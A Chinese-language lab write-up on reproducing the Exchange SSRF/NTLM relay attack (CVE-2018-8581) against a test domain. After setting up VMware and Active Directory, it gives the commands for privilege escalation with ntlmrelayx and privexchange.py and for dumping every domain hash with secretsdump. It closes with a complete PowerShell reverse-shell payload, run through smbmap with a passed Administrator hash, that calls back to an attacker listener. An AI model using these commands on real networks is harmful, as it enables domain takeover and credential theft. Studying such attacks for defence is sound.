利用 Exchange SSRF 漏洞和 NTLM 中继沦陷域控
作者:xax007@知道创宇404 ScanV安全服务团队
作者博客:https://xax007.github.io/
漏洞简述
在群里看到一篇分享的利用 Exchange SSRF 漏洞获取域控 的文章(中文翻译),让我眼前一亮,后来又在微博看到有大佬复现了这个漏洞,于是我也决定试试。
上文中的漏洞利用思路按照我的理解可以汇总成一句话就是:
在Exchange 在域内具有高权限的前提下条件下,利用 Exchange 的跨站请求伪造漏洞进行 NTLM 中继攻击,修改域 ACL 使普通用户具有域管理员同等级别的权限
这篇文章的利用手法和其他网上很多方法不同的点在于,对 SSRF 漏洞进一步利用达到了拿到域控的目的,其他文章里都仅仅是利用SSRF 漏洞查看管理的邮件或者修改管理员邮箱规则,如邮件自动转发等。
不想拿到域控的黑阔不是一个好黑阔,利用多个普通漏洞,最大化利用漏洞拿到域控的骚姿势肯定要学一下的,于是有了这篇文章。
此文记录了我对这个漏洞进行的所有工作和遇到的坑。
漏洞环境搭建
复现这个漏洞最费时间又麻烦的就是搭建环境,我在 MacOS上
使用 Vmware Fusion
搭建了此漏洞需要的域环境
VMware Fusion 会在系统安装两个虚拟网卡,分别为 vmnet1
和 vmnet8
vmnet8
为 NAT网卡,可以让虚拟机上网 vmnet1
为 HostOnly 仅主机网卡,用来搭建私有网络,我们需要对此网卡作出修改
如果在Windows系统搭建环境时,也应该设置所有虚拟主机为 HostOnly 模式,方法大同小异
配置 Vmware Fusion
修改 /Library/Preferences/VMware\ Fusion/networking
文件
关闭 vmnet1
的 dhcp,否则虚拟主机之间无法通信
1 2 3 4 5 6 |
VERSION=1,0 answer VNET_1_DHCP no #关闭dhcp answer VNET_1_DHCP_CFG_HASH 9503E18413CDE50A84F0D124C42535C62DF8193B answer VNET_1_HOSTONLY_NETMASK 255.255.255.0 # HostOnly 网络子网掩码 answer VNET_1_HOSTONLY_SUBNET 10.10.10.0 # HostOnly网络地址 answer VNET_1_VIRTUAL_ADAPTER yes |
搭建域环境
从这里可以下载到能免费试用180天的正版 Windows Server 2012
系统
我安装了一台 Windows Server 2012,装好以后克隆了一台,给虚拟分配多少硬件资源取决于自身电脑配置,这里我电脑的配置
因为是克隆的系统,两台的SID是一样的,会加入不了域, 所以克隆的这台要修改 SID
修改 SID 的方法是,在克隆的那个系统里进入 c:\windows\system32\sysprep\
执行
1 |
sysprep /generalize |
按照提示操作,重启就修改好了。
最终各种查资料、看不懂、迷惘、折腾后搭好了可用的域环境。
域环境的搭建主要参考了几位大佬的以下几篇文章
- 搭建渗透测试活动目录教程1
- 搭建渗透测试活动目录教程2
当然还有 l3mOn 大佬的:
Microsoft Exchange漏洞记录(撸向域控) - CVE-2018-8581
同步域内系统时间
搭建小型域环境里大佬说同步时间很重要,我发现我两个系统的时间都不一样,所以在域控所在的服务器配置系统时间:
打开 powershell
并执行
1 |
w32tm /config /manualpeerlist:"cn.pool.ntp.org tw.pool.ntp.org" /syncfromflags:manual /reliable:yes /update |
其中
/manualpeerlist
表示外部时间源服务器列表,多个服务器之间可用空格分隔,cn.pool.ntp.org
和 tw.pool.ntp.org
是 NTP
时间服务器
/syncfromflags:manual
表示与指定的外部时间源服务器列表中的服务器进行同步
/reliable:yes
表示设置此计算机是一个可靠的时间源
/update
表示向时间服务发出配置已更改的通知,使更改生效
1 2 3 4 5 6 7 8 9 10 11 |
net stop w32time 关闭w32time服务 net start w32time 启动w32time服务 w32tm /resync 手动与外部时间源服务器进行同步 w32tm /query /status 同步时间服务器状态 w32tm /query /source 查询时间同步源 w32tm /query /peers 查询时间同步服务器及相关信息 |
以上步骤参考了以下的文章
Windows server 2012 部署NTP,实现成员服务器及客户端时间与域控制器时间同步
我按照教程在域控所在的服务器执行到第三步,另一台服务器的时间自己就同步了
最终搭好了可用的域环境:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
域名称:evilcorp.local 域控: 操作系统:Windows Server 2012 R2 IP: 10.10.10.2 子网掩码: 255.255.255.0 网关: 10.10.10.1 DNS: 10.10.10.2 Exchange 服务器: 操作系统: Windows Server 2012 R2 IP: 10.10.10.3 子网掩码: 255.255.255.0 网关: 10.10.10.1 DNS: 10.10.10.2 攻击主机: 操作系统: Kali IP: 10.10.10.5 |
按照以上三个教程的步骤走,看不明白继续搜教程就可以搭好域环境
攻击主机 Kali Linux
为了能访问域网络需要添加一个 HostOnly
网卡,我添加后的网卡名为 eth1
然后进行以下配置
1 2 3 4 5 6 7 8 |
╭─root@kali ~ ╰─? ifconfig eth1 up ╭─root@kali ~ ╰─? ifconfig eth1 10.10.10.5 netmask 255.255.255.0 ╭─root@kali ~ ╰─? route add default gw 10.10.10.1 eth1 ╭─root@kali ~ ╰─? |
安装 Exchange Server 2013
首先需要在 Exchange 所在的服务器上使用域控 Administrator 账号登录,不然安装检查是会出现一大堆错误
安装 Exchange 前要装依赖组件,可以参考上面 l3m0n 大佬的文章和 Windows Server 2012 安装 Exchange 2013 这两篇文章
安装好 Exchange 以后访问 Exchange 页面,在我的环境里的地址是 https://10.10.10.3
,需要添加一个普通域用户,然后用域控管理员账号登录 Exchange 为此用户分配 Exchange 账号,这一步网上有很多教程
后续要用此普通用户来提权
所有的环境搭建好以后要进入激动人心的漏洞利用环节了!!!
漏洞利用
准备工具
漏洞利用需要下载两个工具:
第二个 Impacket
是一个功能很强大的 Windows 网络(SMB, MSRPC)工具包
Kali 自带 Impacket,是版本过时了,需要安装最新的
git clone
下载下来后,进入到 Impacket
目录使用 pip
安装
1 |
pip install . |
注意这个工具是 python2 写的,使用 python3会出错
发起攻击
首先在本机启动 NTLM 中继,进入到 Impacker
的 examples
目录执行
1 |
python ntlmrelayx.py -t ldap://evilcorp.local --escalate-user mr.robot |
其中
evilcorp.local
是域的名称
--escalate-user
的参数是 Exchange 的普通权限用户名,也就是之前添加的普通用户用户名
然后执行提权脚本
1 |
python privexchange.py -ah 10.10.10.1 10.10.10.3 -u mr.robot -p "Hacktheplanet\!" -d evilcorp.local |
其中
-ah
参数指定域控地址可以是域的名称或 IP 地址,在这里为 10.10.10.1
10.10.10.3
为 Exchange 服务器在域的名称或者IP地址 -u
指定需要提权的 Exchange 的普通权限用户名 -p
指定 Exchange 的普通权限用户的密码 -d
指定域的名称
如果攻击成功你会看到 privexchange.py
脚本的输出
至此在 evicorp.local
域内, Mr.robot
用户具有了高权限,下一步我们导出域内所有用户的哈希
导出域内用户哈希
进入 Impacket\examples
目录执行
1 |
python secretsdump.py EVILCORP.LOCAL/mr\.robot@evilcorp.local -just-dc |
就导出了域内所有用户哈希
在截图中由于 Kali 的 Openssl 版本太新有 bug,没办法连接上 Exchange 服务器使用自签名证书的HTTPS服务,在本机的 MacOS 上测试的
我再一次得到一个教训
平时没事别瞎更新整个系统,要更新也只更新需要的部分
利用用户哈希反弹 shell
哈希都拿到了,尝试反弹shell,使用 Windows 帐户哈希反弹 shell 的工具很多,我使用 smbmap
smbmap
已内置在Kali Linux
中
nc 监听端口
1 |
nc -lvnp 1337 |
反弹 shell
1 |
<span class="nt">smbmap</span> <span class="nt">-d</span> <span class="nt">evilcorp</span><span class="p">.</span><span class="nc">local</span> <span class="nt">-u</span> <span class="nt">Administrator</span> <span class="nt">-p</span> <span class="s1">'aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889'</span> <span class="nt">-H</span> <span class="nt">10</span><span class="p">.</span><span class="nc">10</span><span class="p">.</span><span class="nc">10</span><span class="p">.</span><span class="nc">2</span> <span class="nt">-x</span> <span class="s1">'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""10.10.10.5""""; $port=""""1337"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte</span><span class="cp">[]</span><span class="s1"> $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb</span><span class="cp">[</span><span class="mi">0</span><span class="nx">..</span><span class="err">$</span><span class="p">(</span><span class="nv">$pos</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="cp">]</span><span class="s1"> -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"'</span> |
代码中的 10.10.10.5
修改为攻击者IP,1337
修改为NC
监听端口
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/833/